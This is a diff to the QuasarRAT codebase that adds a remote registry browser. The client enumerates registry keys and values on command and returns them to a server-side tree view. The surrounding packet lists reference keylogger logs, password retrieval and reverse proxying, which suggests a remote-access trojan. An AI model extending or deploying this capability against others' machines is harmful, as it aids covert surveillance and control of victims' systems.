diff --git a/Client/Client.csproj b/Client/Client.csproj index b73634bf..9efe5048 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -53,6 +53,7 @@ + @@ -94,6 +95,7 @@ + @@ -104,6 +106,10 @@ + + + + @@ -216,6 +222,7 @@ + diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index dc56611e..ba5ab534 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -1,5 +1,6 @@ using System.Collections.Generic; using System.Threading; +using xClient.Core.Registry; using xClient.Core.Utilities; namespace xClient.Core.Commands @@ -13,5 +14,6 @@ public static partial class CommandHandler private static Dictionary _canceledDownloads = new Dictionary(); private const string DELIMITER = "$E$"; private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads + public static RegistrySeeker seeker; } } \ No newline at end of file diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs new file mode 100644 index 00000000..94b95054 --- /dev/null +++ b/Client/Core/Commands/RegistryHandler.cs @@ -0,0 +1,57 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Networking; +using xClient.Core.Registry; + +namespace xClient.Core.Commands +{ + /* + * Derived and Adapted By Justin Yanke + * github: https://github.com/yankejustin + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code is created by Justin Yanke and has only been + * modified partially. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Commands/RegistryHandler.cs + */ + + /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ + public static partial class CommandHandler + { + public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) + { + try + { + + seeker = new RegistrySeeker(); + + xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); + + seeker.SearchComplete += (object o, SearchCompletedEventArgs e) => + { + responsePacket.Matches = e.Matches.ToArray(); + responsePacket.RootKey = packet.RootKeyName; + + responsePacket.Execute(client); + }; + + // If the search parameters of the packet is null, the server is requesting to obtain the root keys. + if (packet.RootKeyName == null) + { + seeker.Start(new RegistrySeekerParams(null, Enums.RegistrySearchAction.Keys | Enums.RegistrySearchAction.Values)); + } + else + { + seeker.Start(packet.RootKeyName); + } + } + catch + { } + } + } +} diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index 013b618e..abbaf63a 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -1,6 +1,7 @@ using System.Collections.Generic; using Microsoft.Win32; using System.Linq; +using System; namespace xClient.Core.Extensions { @@ -94,5 +95,49 @@ public static IEnumerable GetFormattedKeyValues(this RegistryKey key) yield return string.Format("{0}||{1}", k, key.GetValueSafe(k)); } } + + public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower(); + case RegistryValueKind.MultiString: + return string.Join(" ", (string[])valueData); + case RegistryValueKind.DWord: //Convert with hexadecimal before int + return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("X8").ToLower(), ((uint)((int)valueData)).ToString()); + case RegistryValueKind.QWord: + return ((ulong)((long)valueData)).ToString(); + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return valueData.ToString(); + case RegistryValueKind.Unknown: + default: + return string.Empty; + } + } + + public static string RegistryTypeToString(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return "REG_BINARY"; + case RegistryValueKind.MultiString: + return "REG_MULTI_SZ"; + case RegistryValueKind.DWord: + return "REG_DWORD"; + case RegistryValueKind.QWord: + return "REG_QWORD"; + case RegistryValueKind.String: + return "REG_SZ"; + case RegistryValueKind.ExpandString: + return "REG_EXPAND_SZ"; + case RegistryValueKind.Unknown: + return "(Unknown)"; + default: + return "REG_NONE"; + } + } } } \ No newline at end of file diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs index 2cc1abc1..e22eacdf 100644 --- a/Client/Core/Networking/QuasarClient.cs +++ b/Client/Core/Networking/QuasarClient.cs @@ -77,6 +77,7 @@ public QuasarClient(HostsManager hostsManager) : base() typeof (Packets.ClientPackets.GetStartupItemsResponse), typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), typeof (Packets.ClientPackets.GetPasswordsResponse), + typeof (Packets.ClientPackets.GetRegistryKeysResponse), typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), diff --git a/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs b/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs new file mode 100644 index 00000000..32b1af10 --- /dev/null +++ b/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs @@ -0,0 +1,35 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Networking; +using xClient.Core.Registry; + +namespace xClient.Core.Packets.ClientPackets +{ + [Serializable] + public class GetRegistryKeysResponse : IPacket + { + public RegSeekerMatch[] Matches { get; set; } + + public string RootKey { get; set; } + + public GetRegistryKeysResponse() + { } + + public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null) + : this(new RegSeekerMatch[] { match }, rootKey) + { } + + public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null) + { + Matches = matches; + RootKey = rootKey; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index bfff9354..f7ca973a 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -124,6 +124,10 @@ public static void HandlePacket(Client client, IPacket packet) CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet, client); } + else if (type == typeof(ServerPackets.DoLoadRegistryKey)) + { + CommandHandler.HandleGetRegistryKey((ServerPackets.DoLoadRegistryKey)packet, client); + } else if (type == typeof(ServerPackets.GetKeyloggerLogs)) { CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client); diff --git a/Client/Core/Registry/RegSeekerMatch.cs b/Client/Core/Registry/RegSeekerMatch.cs new file mode 100644 index 00000000..279817b3 --- /dev/null +++ b/Client/Core/Registry/RegSeekerMatch.cs @@ -0,0 +1,40 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xClient.Core.Registry +{ + /* + * Derived and Adapted By Justin Yanke + * github: https://github.com/yankejustin + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code is created by Justin Yanke and has only been + * modified partially. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegSeekerMatch.cs + */ + + [Serializable] + public class RegSeekerMatch + { + public string Key { get; private set; } + public List Data { get; private set; } + public bool HasSubKeys { get; private set; } + + public RegSeekerMatch(string key, List data, int subkeycount) + { + Key = key; + Data = data; + HasSubKeys = (subkeycount > 0); + } + + public override string ToString() + { + return string.Format("({0}:{1})", Key, Data.ToString()); + } + } +} diff --git a/Client/Core/Registry/RegValueData.cs b/Client/Core/Registry/RegValueData.cs new file mode 100644 index 00000000..f22967a5 --- /dev/null +++ b/Client/Core/Registry/RegValueData.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xClient.Core.Registry +{ + [Serializable] + public class RegValueData + { + public string Name { get; private set; } + public string Type { get; private set; } + public string Data { get; private set; } + + public RegValueData(string name, string type, string data) + { + Name = name; + Type = type; + Data = data; + } + + public override string ToString() + { + return string.Format("({0}:{1}:{2})", Name, Type, Data); + } + } +} diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Client/Core/Registry/RegistrySeeker.cs new file mode 100644 index 00000000..4d07d355 --- /dev/null +++ b/Client/Core/Registry/RegistrySeeker.cs @@ -0,0 +1,330 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Security; +using Microsoft.Win32; +using System.Threading; +using xClient.Core.Extensions; + +namespace xClient.Core.Registry +{ + /* + * Derived and Adapted from CrackSoft's Reg Explore. + * Reg Explore v1.1 (Release Date: June 24, 2011) + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This is a work that is not of the original. It + * has been modified to suit the needs of another + * application. + * (This has been taken from Justin Yanke's branch) + * First Modified by Justin Yanke on August 15, 2015 + * Second Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Unmodified Source: + * https://regexplore.codeplex.com/SourceControl/latest#Registry/RegSearcher.cs + */ + + public class MatchFoundEventArgs : EventArgs + { + public RegSeekerMatch Match { get; private set; } + + public MatchFoundEventArgs(RegSeekerMatch match) + { + Match = match; + } + } + + public class SearchCompletedEventArgs : EventArgs + { + public List Matches { get; private set; } + + public SearchCompletedEventArgs(List matches) + { + Matches = matches; + } + } + + public class RegistrySeeker + { + #region CONSTANTS + + /// + /// An array containing all of the root keys for the registry. + /// + public static readonly RegistryKey[] ROOT_KEYS = new RegistryKey[] + { + Microsoft.Win32.Registry.ClassesRoot, + Microsoft.Win32.Registry.CurrentUser, + Microsoft.Win32.Registry.LocalMachine, + Microsoft.Win32.Registry.Users, + Microsoft.Win32.Registry.CurrentConfig + }; + + #endregion + + #region Fields + + /// + /// Fired when the RegistrySeeker has finished searching through the registry. + /// + public event EventHandler SearchComplete; + + /// + /// Fired when a RegistryKey is found. + /// + public event EventHandler MatchFound; + + /// + /// The worker thread that does the searching/traversal through the registry. + /// + private BackgroundWorker searcher; + + /// + /// The lock used to ensure thread safety. + /// + private readonly object locker = new object(); + + /// + /// The search arguments to use for customizable registry searching. + /// + public RegistrySeekerParams searchArgs; + + /// + /// The list containing the matches found during the search. + /// + private List matches; + + /// + /// The queue of registry key paths to analyze further. + /// + private Queue pendingKeys; + + #endregion + + public RegistrySeeker() + { + searcher = new BackgroundWorker() { WorkerSupportsCancellation = true, WorkerReportsProgress = true }; + + searcher.DoWork += new DoWorkEventHandler(worker_DoWork); + searcher.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker_RunWorkerCompleted); + searcher.ProgressChanged += new ProgressChangedEventHandler(worker_ProgressChanged); + } + + public void Start(string rootKeyName) + { + if (rootKeyName != null && rootKeyName.Length > 0) + { + + // ToDo: Get correct root key... + RegistryKey root = GetRootKey(rootKeyName); + + if (root != null) + { + //Check if this is a root key or not + if (root.Name != rootKeyName) + { + //Must get the subKey name by removing root and '\\' + string subKeyName = rootKeyName.Substring(root.Name.Length + 1); + try + { + root = root.OpenSubKey(subKeyName); + } + catch { } + } + } + + // Temp + if (root != null) + Start(new RegistrySeekerParams(root, Enums.RegistrySearchAction.Keys | Enums.RegistrySearchAction.Values | Enums.RegistrySearchAction.Data)); + } + } + + public void Start(RegistrySeekerParams args) + { + searchArgs = args; + + matches = new List(); + searcher.RunWorkerAsync(); + } + + void worker_ProgressChanged(object sender, ProgressChangedEventArgs e) + { + MatchFound(this, new MatchFoundEventArgs((RegSeekerMatch)e.UserState)); + } + + public void Stop() + { + if (searcher.IsBusy) + { + lock (locker) + { + searcher.CancelAsync(); + // Wait until it is done... Similar to synchronous stop. + Monitor.Wait(locker); + } + } + } + + void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) + { + SearchComplete(this, new SearchCompletedEventArgs(matches)); + } + + void worker_DoWork(object sender, DoWorkEventArgs e) + { + // Get root registrys + if (searchArgs.RootKey == null) + { + foreach (RegistryKey key in RegistrySeeker.ROOT_KEYS) + /* Just need root key so process it */ + ProcessKey(key, key.Name); + } + else + { + //searching for subkeys to root key + Search(searchArgs.RootKey); + } + } + + void Search(string rootKeyName) + { + try + { + using (RegistryKey key = GetRootKey(rootKeyName).OpenWritableSubKeySafe(rootKeyName)) + { + if (key != null) + { + Search(key); + } + } + } + catch + { } + } + + void Search(RegistryKey rootKey) + { + string rootKeyName = rootKey.Name.Substring(rootKey.Name.LastIndexOf('\\') + 1); + + RegistryKey subKey = null; + string keyName; + int cropIndex = rootKey.Name.Length + 1; + pendingKeys = new Queue(rootKey.GetSubKeyNames()); + + while (pendingKeys.Count > 0) + { + if (searcher.CancellationPending) + { + lock (locker) + { + // Allow for a synchronous stop. + Monitor.Pulse(locker); + return; + } + } + + keyName = pendingKeys.Dequeue(); + + try + { + subKey = rootKey.OpenSubKey(keyName); + } + catch (SecurityException) + { + subKey = null; + } + finally + { + ProcessKey(subKey, keyName); + } + } + } + + private void ProcessKey(RegistryKey key, string keyName) + { + if (searcher.CancellationPending) + return; + + MatchData(key, keyName); + } + + private void MatchData(RegistryKey key, string keyName) + { + if (key != null) + { + List values = new List(); + + foreach (string valueName in key.GetValueNames()) + { + RegistryValueKind valueType = key.GetValueKind(valueName); + string valueData = key.GetValueKind(valueName).RegistryTypeToString(key.GetValue(valueName, string.Empty)); + string actualValueName = String.IsNullOrEmpty(valueName) ? "(Default)" : valueName; + values.Add(new RegValueData(actualValueName, valueType.RegistryTypeToString(), valueData)); + } + + //Maybe send null if empty (regValues) + AddMatch(keyName, values, key.SubKeyCount); + } + else + { + AddMatch(keyName, null, 0); + } + + } + + private void AddMatch(string key, List values, int subkeycount) + { + RegSeekerMatch match = new RegSeekerMatch(key, values, subkeycount); + + if (MatchFound != null) + searcher.ReportProgress(0, match); + + matches.Add(match); + + } + + public static RegistryKey GetWritableRegistryKey(string keyPath) + { + RegistryKey key = RegistrySeeker.GetRootKey(keyPath); + + if (key != null) + { + //Check if this is a root key or not + if (key.Name != keyPath) + { + //Must get the subKey name by removing root and '\\' + string subKeyName = keyPath.Substring(key.Name.Length + 1); + + key = key.OpenWritableSubKeySafe(subKeyName); + } + } + + return key; + } + + public static RegistryKey GetRootKey(string subkey_fullpath) + { + string[] path = subkey_fullpath.Split('\\'); + + switch (path[0]) // <== root; + { + case "HKEY_CLASSES_ROOT": + return Microsoft.Win32.Registry.ClassesRoot; + case "HKEY_CURRENT_USER": + return Microsoft.Win32.Registry.CurrentUser; + case "HKEY_LOCAL_MACHINE": + return Microsoft.Win32.Registry.LocalMachine; + case "HKEY_USERS": + return Microsoft.Win32.Registry.Users; + case "HKEY_CURRENT_CONFIG": + return Microsoft.Win32.Registry.CurrentConfig; + default: + return null; + } + } + + public bool IsBusy + { + get { return searcher.IsBusy; } + } + } +} diff --git a/Client/Core/Registry/RegistrySeekerParams.cs b/Client/Core/Registry/RegistrySeekerParams.cs new file mode 100644 index 00000000..1583379b --- /dev/null +++ b/Client/Core/Registry/RegistrySeekerParams.cs @@ -0,0 +1,52 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Enums; + +namespace xClient.Core.Registry +{ + /* + * Derived and Adapted By Justin Yanke + * github: https://github.com/yankejustin + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code is created by Justin Yanke and has only been + * modified partially. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegistrySeekerParams.cs + */ + + public class RegistrySeekerParams + { + public bool GatherKeyValues { get; private set; } + + public RegistryKey RootKey { get; set; } + + public RegistrySeekerParams(RegistryKey registryKey, RegistrySearchAction keyAnalyzeDepth) + { + this.RootKey = registryKey; + this.searchValueTypes = keyAnalyzeDepth; + } + + private RegistrySearchAction searchValueTypes + { + get + { + RegistrySearchAction action = RegistrySearchAction.Keys; + + if (GatherKeyValues) + action |= RegistrySearchAction.Values; + + return action; + } + set + { + GatherKeyValues = (value & RegistrySearchAction.Values) == RegistrySearchAction.Values; + } + } + } +} diff --git a/Client/Enums/RegistrySearchAction.cs b/Client/Enums/RegistrySearchAction.cs new file mode 100644 index 00000000..ce9d4f77 --- /dev/null +++ b/Client/Enums/RegistrySearchAction.cs @@ -0,0 +1,30 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xClient.Enums +{ + /* + * Derived and Adapted By Justin Yanke + * github: https://github.com/yankejustin + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code is created by Justin Yanke. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * No modifications made + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * https://github.com/quasar/QuasarRAT/blob/regedit/Client/Enums/RegistrySearchAction.cs + */ + + /// + /// Specifies the items to retrieve and send when searching the registry. + /// + [Flags] + public enum RegistrySearchAction + { + Keys, + Values, + Data + } +} diff --git a/Server/Core/Commands/RegistryHandler.cs b/Server/Core/Commands/RegistryHandler.cs new file mode 100644 index 00000000..9231904f --- /dev/null +++ b/Server/Core/Commands/RegistryHandler.cs @@ -0,0 +1,30 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ + public static partial class CommandHandler + { + public static void HandleLoadRegistryKey(xServer.Core.Packets.ClientPackets.GetRegistryKeysResponse packet, Client client) + { + try + { + // Make sure that we can use the packet. + if (packet.Matches != null && packet.Matches.Length > 0) + { + // Make sure that the client is in the correct state to handle the packet appropriately. + if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing) + { + client.Value.FrmRe.AddKeysToTree(packet.RootKey, packet.Matches); + } + } + } + catch + { } + } + } +} diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index 65ec5cbe..b3331b90 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -124,6 +124,7 @@ public QuasarServer() : base() typeof (Packets.ClientPackets.GetStartupItemsResponse), typeof (Packets.ClientPackets.GetKeyloggerLogsResponse), typeof (Packets.ClientPackets.GetPasswordsResponse), + typeof (Packets.ClientPackets.GetRegistryKeysResponse), typeof (ReverseProxy.Packets.ReverseProxyConnect), typeof (ReverseProxy.Packets.ReverseProxyConnectResponse), typeof (ReverseProxy.Packets.ReverseProxyData), diff --git a/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs b/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs new file mode 100644 index 00000000..e78a80e7 --- /dev/null +++ b/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs @@ -0,0 +1,35 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xServer.Core.Networking; +using xServer.Core.Registry; + +namespace xServer.Core.Packets.ClientPackets +{ + [Serializable] + public class GetRegistryKeysResponse : IPacket + { + public RegSeekerMatch[] Matches { get; set; } + + public string RootKey { get; set; } + + public GetRegistryKeysResponse() + { } + + public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null) + : this(new RegSeekerMatch[] { match }, rootKey) + { } + + public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null) + { + Matches = matches; + RootKey = rootKey; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs index b8713e3e..deda0c02 100644 --- a/Server/Core/Packets/PacketHandler.cs +++ b/Server/Core/Packets/PacketHandler.cs @@ -66,6 +66,10 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet); } + else if (type == typeof(ClientPackets.GetRegistryKeysResponse)) + { + CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client); + } else if (type == typeof(ClientPackets.GetPasswordsResponse)) { CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet); diff --git a/Server/Core/Registry/RegSeekerMatch.cs b/Server/Core/Registry/RegSeekerMatch.cs new file mode 100644 index 00000000..a46de6cb --- /dev/null +++ b/Server/Core/Registry/RegSeekerMatch.cs @@ -0,0 +1,40 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xServer.Core.Registry +{ + /* + * Derived and Adapted By Justin Yanke + * github: https://github.com/yankejustin + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code is created by Justin Yanke and has only been + * modified partially. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * https://github.com/quasar/QuasarRAT/blob/regedit/Server/Core/Utilities/RegSeekerMatch.cs + */ + + [Serializable] + public class RegSeekerMatch + { + public string Key { get; private set; } + public List Data { get; private set; } + public bool HasSubKeys { get; private set; } + + public RegSeekerMatch(string key, List data, int subkeycount) + { + Key = key; + Data = data; + HasSubKeys = (subkeycount > 0); + } + + public override string ToString() + { + return string.Format("({0}:{1})", Key, Data.ToString()); + } + } +} diff --git a/Server/Core/Registry/RegValueData.cs b/Server/Core/Registry/RegValueData.cs new file mode 100644 index 00000000..e1681955 --- /dev/null +++ b/Server/Core/Registry/RegValueData.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace xServer.Core.Registry +{ + [Serializable] + public class RegValueData + { + public string Name { get; private set; } + public string Type { get; private set; } + public string Data { get; private set; } + + public RegValueData(string name, string type, string data) + { + Name = name; + Type = type; + Data = data; + } + + public override string ToString() + { + return string.Format("({0}:{1}:{2})", Name, Type, Data); + } + } +} diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index d8422671..5a238063 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -7,6 +7,7 @@ using System.Text; using System.Windows.Forms; using xServer.Core.Networking; +using xServer.Core.Registry; namespace xServer.Forms { @@ -24,9 +25,175 @@ public FrmRegistryEditor(Client c) InitializeComponent(); } + #region Main Form + private void FrmRegistryEditor_Load(object sender, EventArgs e) { + //Check if user is not currently running as administrator + if (_connectClient.Value.AccountType != "Admin") + { + //Prompt user of not being admin, probably change need clearer statement (TODO) + string msg = "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete my not work properly!"; + string caption = "Alert!"; + MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + // Signal client to retrive the root nodes (indicated by null) + new xServer.Core.Packets.ServerPackets.DoLoadRegistryKey(null).Execute(_connectClient); } + + private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) + { + if (_connectClient.Value != null) + _connectClient.Value.FrmRe = null; + } + + #endregion + + #region TreeView Helperfunctions + + public void AddRootKey(RegSeekerMatch match) + { + tvRegistryDirectory.Invoke((MethodInvoker)delegate + { + TreeNode node = CreateNode(match.Key, match.Key, match.Data); + node.Nodes.Add(new TreeNode()); + tvRegistryDirectory.Nodes.Add(node); + }); + } + + private TreeNode CreateNode(string key, string text, object tag) + { + return new TreeNode() + { + Text = text, + Name = key, + Tag = tag + }; + } + + public void AddKeysToTree(string rootName, RegSeekerMatch[] matches) + { + if (string.IsNullOrEmpty(rootName)) + { + // Root key + foreach (var match in matches) + { + AddRootKey(match); + } + + tvRegistryDirectory.Invoke((MethodInvoker)delegate + { + tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0]; + }); + + } + else + { + + TreeNode parent = GetParentTreeNode(rootName); + + // If the parent is null, it should be a root node. + if (parent == null) + { + //Error incorrect format + return; + } + else + { + tvRegistryDirectory.Invoke((MethodInvoker)delegate + { + foreach (var match in matches) + { + //This will execute in the form thread + TreeNode node = CreateNode(match.Key, match.Key, match.Data); + if (match.HasSubKeys) + { + node.Nodes.Add(new TreeNode()); + } + parent.Nodes.Add(node); + } + parent.Expand(); + }); + } + } + } + + /// + /// Using the RegSeekerMatch's name, obtain the parent TreeNode of the match, creating + /// the TreeNodes if necessary. + /// + /// The match from which we obtain the corresponding TreeNode from. + /// Null if an invalid name is passed; The parent TreeNode for non-root matches; Returns + /// itself if it is a root match. + private TreeNode GetParentTreeNode(string rootName) + { + string[] nodePath = null; + if (rootName.Contains("\\")) + { + // It might not be a root node. + nodePath = rootName.Split(new char[] { '\\' }, StringSplitOptions.RemoveEmptyEntries); + + // Only one valid node. Probably malformed or a root node. + if (nodePath.Length < 2) + { + return null; + } + } + else + { + //Is a root node + nodePath = new string[] { rootName }; + } + + // Keep track of the last node to reference for traversal. + TreeNode lastNode = null; + + // If the TreeView contains the first element in the node path, we + // won't have to create it. Otherwise, create it then set the last node + // to serve as our reference point. + if (tvRegistryDirectory.Nodes.ContainsKey(nodePath[0])) + { + lastNode = tvRegistryDirectory.Nodes[nodePath[0]]; + } + else + { + // This node does not exist in the TreeView. Create it then add it. + lastNode = CreateNode(nodePath[0], nodePath[0], null); + tvRegistryDirectory.Invoke((MethodInvoker)delegate + { + tvRegistryDirectory.Nodes.Add(lastNode); + }); + + } + + // Go through the rest of the node path (leave last one, is the one to add). + for (int i = 1; i < nodePath.Length; i++) + { + // If the last node does have this entry in the path, just set + // the last node to the existing entry. + if (lastNode.Nodes.ContainsKey(nodePath[i])) + { + lastNode = lastNode.Nodes[nodePath[i]]; + } + else + { + // If the last node does not contain the next item in the path, + // create the node and add it to the path. + TreeNode newNode = CreateNode(nodePath[i], nodePath[i], null); + + tvRegistryDirectory.Invoke((MethodInvoker)delegate + { + lastNode.Nodes.Add(newNode); + }); + + lastNode = newNode; + } + } + + return lastNode; + } + + #endregion } } diff --git a/Server/Server.csproj b/Server/Server.csproj index 574026c6..edee0cc0 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -76,6 +76,7 @@ Component + @@ -138,6 +139,7 @@ + @@ -145,6 +147,8 @@ + +